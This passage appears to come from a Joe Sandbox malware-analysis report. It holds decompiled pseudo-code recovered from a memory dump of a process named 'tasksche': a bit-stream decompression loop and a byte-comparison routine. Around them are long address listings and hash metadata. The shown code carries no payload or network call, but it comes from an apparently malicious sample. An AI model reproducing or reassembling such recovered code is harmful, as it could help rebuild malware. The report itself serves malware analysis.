																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e66e87e45e33e9b6c354f5b6263b5aa39b97c7922118d9d558ebbb9b9929d35
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 8e66e87e45e33e9b6c354f5b6263b5aa39b97c7922118d9d558ebbb9b9929d35
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
